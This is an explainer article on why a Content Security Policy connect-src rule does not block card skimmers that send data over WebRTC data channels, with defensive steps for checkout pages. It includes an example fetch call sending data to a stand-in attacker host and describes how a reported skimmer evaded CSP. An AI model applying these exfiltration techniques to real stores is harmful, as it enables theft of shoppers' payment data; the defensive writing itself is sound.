Dexaloop › Tech › Security and privacy

Security and privacy · Explainer

Does CSP stop a WebRTC skimmer? Why connect-src is not enough

Content Security Policy limits fetch, XHR and WebSocket requests, but WebRTC peer connections sit outside connect-src, and the directive meant to cover them is not in browsers yet.

By DexaloopPublished 30 November 20266 min readSources listed below

Key takeaways

  • connect-src covers fetch(), XMLHttpRequest, WebSocket, EventSource, sendBeacon and link pings. It does not cover RTCPeerConnection, so a WebRTC data channel can carry card data past it.
  • Sansec reported the first skimmer it had seen using WebRTC data channels on 24 March 2026. The traffic runs over DTLS-encrypted UDP, so tools that only inspect HTTP do not see it leave.
  • The CSP Level 3 draft defines a webrtc directive with 'allow' or 'block'. The CSP directive lists in the Chromium, Firefox and WebKit source code do not include it, and the Firefox and WebKit requests to add it are still open.
  • Chrome's Connection-Allowlist header, available from Chrome 152 according to Google, blocks WebRTC connections by default. It is a Chrome feature, not a cross-browser fix.
  • The defences that work everywhere stop the script from running in the first place: patch the store, cut unneeded third-party scripts, pin the ones you keep with Subresource Integrity, and avoid 'unsafe-eval'.
On this page
  1. What a WebRTC skimmer is
  2. What connect-src covers, and what it does not
  3. The CSP webrtc directive: defined, not enforced
  4. Chrome's Connection-Allowlist header
  5. What actually protects a checkout page
  6. What is confirmed and what is not

No: a Content Security Policy connect-src rule does not stop a skimmer that sends card data over WebRTC. That is the WebRTC skimmer CSP gap. connect-src controls fetch(), XMLHttpRequest, WebSocket, EventSource and sendBeacon, but a WebRTC peer connection is not on that list. The CSP standard has a separate webrtc directive that could block it, but the major browser engines do not implement it yet. So the defences that work today are the ones that stop the skimming script from running at all.

This explainer covers what a WebRTC skimmer does, exactly what connect-src does and does not cover, where the webrtc directive stands, and what store owners and developers can do now.

What connect-src blocks

Script requests over HTTP and WebSocket: fetch, XHR, WebSocket, EventSource, beacons.

What it misses

WebRTC peer connections and their data channels, which run over UDP.

The missing directive

CSP Level 3 defines webrtc 'block', but browsers do not enforce it yet.

What works now

Stop the script getting in: patching, fewer third-party scripts, SRI, a tight script-src.

What a WebRTC skimmer is

A card skimmer is JavaScript that an attacker slips onto a checkout page. It reads what shoppers type into the payment form and sends it to the attacker. This style of attack is often called Magecart. Most skimmers send the data with an ordinary web request, which is why so much advice focuses on controlling where a page can send requests.

WebRTC is the browser technology behind video calls and peer-to-peer data transfer. A page creates an RTCPeerConnection, then opens a data channel on it to pass messages. Nothing about it is malicious. The problem is that it gives a script a second way out of the page.

On 24 March 2026, Sansec described a skimmer that "uses WebRTC DataChannels to load its payload and exfiltrate stolen payment data." It said: "This is the first time Sansec has observed WebRTC used as a skimming channel." The script created an RTCPeerConnection pointing to an attacker IP address on UDP port 3479. Two details matter for defenders:

  • "WebRTC DataChannels run over DTLS-encrypted UDP, not HTTP."
  • "Network security tools that inspect HTTP traffic will never see the stolen data leave."

Sansec said the most likely way in was PolyShell, a flaw it described as allowing unauthenticated file uploads to vulnerable stores. It presented that as the likely entry point, not a confirmed one.

What connect-src covers, and what it does not

The W3C CSP Level 3 draft says connect-src "controls requests which transmit or receive data from other origins." MDN lists the script interfaces it restricts. WebRTC is not one of them.

How a script sends dataControlled by connect-src?
fetch() and fetchLater()Yes
XMLHttpRequestYes
WebSocketYes
EventSourceYes
navigator.sendBeacon()Yes
ping attribute on linksYes
RTCPeerConnection data channelNo

In the spec, WebRTC has its own hook. Section 4.3, "Integration with WebRTC", asks whether RTC connections should be blocked for the page, and the answer comes only from a directive's "webrtc pre-connect check". The spec says that check "returns "Allowed" unless otherwise specified", and the only directive that specifies otherwise is webrtc. So a page with a strict connect-src and no webrtc directive still allows WebRTC connections. Sansec put it this way: "WebRTC peer connections operate outside the scope of Content Security Policy."

A concrete example

Take a checkout page that sends this header:

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.payments.example

If an injected script calls fetch("https://evil.example/collect"), the browser blocks the request because that host is not in connect-src. If the same script instead creates an RTCPeerConnection to an attacker's server and opens a data channel, connect-src has no say over it. Nothing in this policy stops the second route.

Skimmer script on the checkout page fetch, XHR, WebSocket, EventSource, sendBeacon connect-src blocks the request Attacker host Blocked: the data does not get out RTCPeerConnection data channel Attacker server DTLS-encrypted UDP, not HTTP connect-src has no say over this route
Two ways out of the page: a fetch or XHR request meets connect-src and is blocked, while a WebRTC data channel goes around it.

The CSP webrtc directive: defined, not enforced

CSP Level 3 does define a fix. Its webrtc directive takes exactly one of two values, 'allow' or 'block'. If the value is 'allow', the pre-connect check returns "Allowed"; otherwise it returns "Blocked", and the spec then prohibits all connection candidates. The document is still a W3C Working Draft, dated 27 October 2026.

Browsers have not picked it up. As of 30 November 2026:

  • Chromium (Chrome, Edge and other Chromium browsers): the list of CSP directive names in Chromium's source includes connect-src and the other directives, but not webrtc.
  • Firefox: the directive list in Firefox's source has no webrtc entry, and bug 1783489, "Implement CSP 'webrtc' directive", is still NEW and unassigned.
  • Safari (WebKit): the directive names in WebKit's source do not include webrtc, and bug 255651, filed on 19 April 2023, is still NEW.

Adding webrtc 'block' to your policy is therefore not a defence today. A browser that does not recognise a directive does not enforce it.

Chrome's Connection-Allowlist header

Chrome has a separate feature that does cover WebRTC. In a post dated 23 September 2026, Google says connection allowlists are "officially available starting in Chrome 152", and that "By default, connection allowlists block all redirects and WebRTC connections." A page lists the URL patterns it may connect to:

Connection-Allowlist: ("https://api.example.com/*" response-origin)

A page that really needs WebRTC adds a webrtc=allow token. A checkout page usually does not. Google also describes a Connection-Allowlist-Report-Only header for testing, and calls the feature a progressive enhancement to an existing CSP setup. The announcement does not mention other browsers, so treat it as extra protection for Chrome visitors only.

What actually protects a checkout page

Because no cross-browser control blocks the WebRTC route, the reliable answer is to keep the skimmer off the page. These steps help against every skimmer, not just WebRTC ones.

  1. Patch the platform and its extensions. The skimmer in Sansec's report most likely arrived through an upload flaw in the store software. Sansec advises store operators to check that the web server blocks access to pub/media/custom_options/, the path named in its PolyShell advisory. Patching closes the door before CSP is even involved. Our guides to nginx2root and Java4Shell show the same check, patch and verify routine for server software.
  2. Remove third-party scripts the checkout does not need. Every script on the payment page can read the payment form. Fewer scripts means fewer places for an attacker to hide code.
  3. Pin the scripts you keep with Subresource Integrity. MDN explains that if a file's hash does not match the integrity value, the browser "will refuse to load the resource". A tampered copy of a third-party file then never runs.
  4. Keep a tight script-src and drop 'unsafe-eval'. Sansec found the skimmer copied an existing script nonce if it could, then fell back to Function(code)(), which works only when unsafe-eval is allowed. Removing unsafe-eval takes away that fallback.
  5. Keep connect-src anyway. It still blocks skimmers that send data over fetch, XHR or WebSocket, which is the common case.
  6. Add Connection-Allowlist for Chrome visitors once you have tested it in report-only mode.
  7. Look for the signs. Search your page code and third-party files for RTCPeerConnection and createDataChannel. A checkout page with no video or chat feature has little reason to use them.

What is confirmed and what is not

ClaimStatus
connect-src does not cover RTCPeerConnectionConfirmed by the CSP3 spec text, MDN's list and Sansec
A skimmer has used WebRTC data channels in the wildReported by Sansec on 24 March 2026
CSP3 defines a webrtc directiveConfirmed, in a Working Draft
Chromium, Firefox and WebKit enforce webrtcNot in their source directive lists as of 30 November 2026
Connection-Allowlist blocks WebRTC by defaultConfirmed by Google for Chrome 152 and later
How the Sansec case skimmer got onto the storeNot confirmed; Sansec calls PolyShell the most likely route

If a secret such as a payment provider API key was stored on a compromised server, rotate it as well. Our guide on what to do with a leaked API key covers the order of steps.

Questions

Does connect-src 'none' block WebRTC?

No. connect-src governs fetch(), XMLHttpRequest, WebSocket, EventSource, sendBeacon and link pings. WebRTC peer connections are not on that list, and Sansec says WebRTC peer connections operate outside the scope of Content Security Policy. A strict connect-src still matters for ordinary HTTP exfiltration, but it does not close the WebRTC path.

Can I add webrtc 'block' to my CSP today?

You can add it, but do not count on it. The directive is defined in the CSP Level 3 working draft, yet it does not appear in the CSP directive lists in the Chromium, Firefox or WebKit source code, and the Firefox and WebKit bugs asking for it are still open. A browser that does not know a directive does not enforce it.

What is a WebRTC skimmer?

It is card-stealing JavaScript on a checkout page that uses a WebRTC data channel, instead of an HTTP request, to talk to the attacker. In the case Sansec described, the channel was used both to load the skimming code and to send stolen payment data out, over DTLS-encrypted UDP.

Is CSP still worth having on a checkout page?

Yes. script-src controls which scripts can load and run, and connect-src blocks the many skimmers that send data with fetch or XHR. Just do not treat connect-src as a complete exit control. Note that the skimmer Sansec analysed tried to copy an existing script nonce and to use eval, so a policy without 'unsafe-eval' removes one of its fallbacks.

Does Chrome's Connection-Allowlist stop WebRTC skimmers?

In Chrome, it can. Google says connection allowlists block all redirects and WebRTC connections by default, and that the feature is available starting in Chrome 152. Google's announcement does not mention support in other browsers, so visitors on Safari or Firefox would not get this protection.

Sources

Written from the sources above and checked against them before publishing. Found a mistake? Email support@dexaloop.com and we will correct it.

More in Security and privacy